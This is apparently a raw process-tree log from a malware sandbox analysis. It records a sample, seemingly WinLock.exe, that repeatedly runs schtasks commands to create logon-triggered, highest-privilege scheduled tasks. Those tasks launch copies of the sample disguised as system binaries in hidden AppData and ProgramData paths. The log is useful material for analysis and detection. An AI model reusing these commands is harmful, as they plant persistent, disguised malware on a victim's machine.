- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SpatialAudioLicenseSrv_28" /tr ""C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12576
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:15668
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mspaint_30" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\mspaint.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3292
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:11204
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_find_31" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\UpdateCache\find.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7352
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RMActivate_32" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\RMActivate.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12472
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RMActivate_32" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\RMActivate.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5156
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_find_1" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\find.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10836
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_find_1" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\find.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2664
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_netsh_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\netsh.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11896
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_autoconv_3" /tr ""C:\ProgramData\MicrosoftService\autoconv.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11204
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_UserAccountBroker_28" /tr ""C:\ProgramData\Oracle\Logs\UpdateCache\UserAccountBroker.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12576
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_perfhost_1" /tr ""C:\Users\Admin\AppData\Roaming\InitializeApprove\Logs\UpdateCache\UpdateCache\perfhost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2596
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_perfhost_1" /tr ""C:\Users\Admin\AppData\Roaming\InitializeApprove\Logs\UpdateCache\UpdateCache\perfhost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12408
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Utilman_2" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\Utilman.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4340
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_Utilman_2" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\Utilman.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5656
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_setup_3" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\UpdateCache\UpdateCache\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3648
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_setup_3" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\UpdateCache\UpdateCache\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6912
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6564
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:16144
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cttunesvr_5" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\UpdateCache\UpdateCache\cttunesvr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:13656
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cttunesvr_5" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\UpdateCache\UpdateCache\cttunesvr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:15688
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_iexpress_6" /tr ""C:\Users\Admin\AppData\Roaming\Sun\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\iexpress.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10264
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_iexpress_6" /tr ""C:\Users\Admin\AppData\Roaming\Sun\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\iexpress.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5244
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_InfDefaultInstall_7" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\UpdateCache\InfDefaultInstall.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9212
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_InfDefaultInstall_7" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\UpdateCache\InfDefaultInstall.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9348
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_UserAccountBroker_8" /tr ""C:\ProgramData\Oracle\Logs\UpdateCache\UserAccountBroker.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7632
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_UserAccountBroker_8" /tr ""C:\ProgramData\Oracle\Logs\UpdateCache\UserAccountBroker.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1256
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:8736
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:10864
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_eventvwr_10" /tr ""C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_56197266\Logs\UpdateCache\eventvwr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3484
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_eventvwr_10" /tr ""C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_56197266\Logs\UpdateCache\eventvwr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3220
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_stordiag_11" /tr ""C:\Users\Admin\AppData\Roaming\UseHide\Logs\UpdateCache\UpdateCache\UpdateCache\stordiag.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11016
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_stordiag_11" /tr ""C:\Users\Admin\AppData\Roaming\UseHide\Logs\UpdateCache\UpdateCache\UpdateCache\stordiag.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15160
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_whoami_12" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\whoami.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12516
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_whoami_12" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\whoami.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:8356
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_sdiagnhost_13" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\sdiagnhost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14952
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_sdiagnhost_13" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\sdiagnhost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6888
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11752
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6960
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cttunesvr_15" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\UpdateCache\UpdateCache\cttunesvr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:16072
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cttunesvr_15" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\UpdateCache\UpdateCache\cttunesvr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3212
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_stordiag_16" /tr ""C:\Users\Admin\AppData\Roaming\UseHide\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\stordiag.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6292
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_stordiag_16" /tr ""C:\Users\Admin\AppData\Roaming\UseHide\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\stordiag.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6580
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesHardware_17" /tr ""C:\Users\Admin\AppData\Local\Publishers\Logs\UpdateCache\SystemPropertiesHardware.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5248
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SystemPropertiesHardware_17" /tr ""C:\Users\Admin\AppData\Local\Publishers\Logs\UpdateCache\SystemPropertiesHardware.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8108
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mcbuilder_18" /tr ""C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:13516
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mcbuilder_18" /tr ""C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6172
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:12260
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5956
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rekeywiz_20" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\rekeywiz.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6504
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_rekeywiz_20" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\rekeywiz.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5620
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_stordiag_21" /tr ""C:\Users\Admin\AppData\Roaming\UseHide\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\stordiag.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10320
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_stordiag_21" /tr ""C:\Users\Admin\AppData\Roaming\UseHide\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\stordiag.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:16252
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_reg_22" /tr ""C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\UpdateCache\UpdateCache\reg.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2136
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_reg_22" /tr ""C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\UpdateCache\UpdateCache\reg.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8052
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesDataExecutionPrevention_23" /tr ""C:\ProgramData\USOShared\Logs\UpdateCache\UpdateCache\UpdateCache\SystemPropertiesDataExecutionPrevention.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6000
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SystemPropertiesDataExecutionPrevention_23" /tr ""C:\ProgramData\USOShared\Logs\UpdateCache\UpdateCache\UpdateCache\SystemPropertiesDataExecutionPrevention.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9560
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6012
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8032
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mspaint_25" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\UpdateCache\mspaint.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:928
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mspaint_25" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\UpdateCache\mspaint.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6704
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_perfhost_26" /tr ""C:\Users\Admin\AppData\Roaming\InitializeApprove\Logs\UpdateCache\UpdateCache\UpdateCache\perfhost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:15732
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_perfhost_26" /tr ""C:\Users\Admin\AppData\Roaming\InitializeApprove\Logs\UpdateCache\UpdateCache\UpdateCache\perfhost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7004
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_msinfo32_27" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\UpdateCache\UpdateCache\msinfo32.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6384
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_msinfo32_27" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\UpdateCache\UpdateCache\msinfo32.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:16016
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_sort_28" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\UpdateCache\UpdateCache\sort.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10052
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_sort_28" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\UpdateCache\UpdateCache\sort.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8516
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11840
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10700
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rundll32_30" /tr ""C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_1781407160\Logs\UpdateCache\rundll32.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4256
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_rundll32_30" /tr ""C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_1781407160\Logs\UpdateCache\rundll32.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10920
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RmClient_31" /tr ""C:\Users\Admin\AppData\Roaming\GroupRequest\Logs\UpdateCache\RmClient.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14248
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RmClient_31" /tr ""C:\Users\Admin\AppData\Roaming\GroupRequest\Logs\UpdateCache\RmClient.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13036
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_reg_32" /tr ""C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\UpdateCache\UpdateCache\UpdateCache\reg.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11872
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_reg_32" /tr ""C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\UpdateCache\UpdateCache\UpdateCache\reg.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6808
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_finger_1" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\finger.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6476
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5716
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_finger_1" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\finger.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:15016
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_find_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\find.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2140
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:10152
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_find_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\find.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13936
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_odbcad32_3" /tr ""C:\ProgramData\MicrosoftService\odbcad32.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1224
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:7384
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_odbcad32_3" /tr ""C:\ProgramData\MicrosoftService\odbcad32.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10148
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4960
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4216
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9668
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_notepad_5" /tr ""C:\Users\Admin\AppData\Local\Temp\{A67CD09C-9726-4207-94FF-F2DAD6D81AAE}\Logs\UpdateCache\notepad.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8288
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_notepad_5" /tr ""C:\Users\Admin\AppData\Local\Temp\{A67CD09C-9726-4207-94FF-F2DAD6D81AAE}\Logs\UpdateCache\notepad.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10344
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_psr_6" /tr ""C:\Users\Admin\AppData\Roaming\AssertRemove\Logs\UpdateCache\psr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:15036
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_psr_6" /tr ""C:\Users\Admin\AppData\Roaming\AssertRemove\Logs\UpdateCache\psr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5176
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_TSTheme_7" /tr ""C:\Users\Admin\AppData\Local\Comms\Logs\UpdateCache\UpdateCache\TSTheme.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:7524
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_TSTheme_7" /tr ""C:\Users\Admin\AppData\Local\Comms\Logs\UpdateCache\UpdateCache\TSTheme.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4840
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_GamePanel_8" /tr ""C:\ProgramData\MicrosoftService\GamePanel.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5400
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_GamePanel_8" /tr ""C:\ProgramData\MicrosoftService\GamePanel.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3420
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12416
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11420
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cttunesvr_10" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\UpdateCache\UpdateCache\cttunesvr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10280
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cttunesvr_10" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\UpdateCache\UpdateCache\cttunesvr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:11572
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_sfc_11" /tr ""C:\Users\Admin\AppData\Roaming\WaitSync\Logs\UpdateCache\UpdateCache\sfc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:13056
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_sfc_11" /tr ""C:\Users\Admin\AppData\Roaming\WaitSync\Logs\UpdateCache\UpdateCache\sfc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7652
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_driverquery_12" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\driverquery.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5128
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_driverquery_12" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\driverquery.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15588
- C:\Windows\SysWOW64\cmd.exe
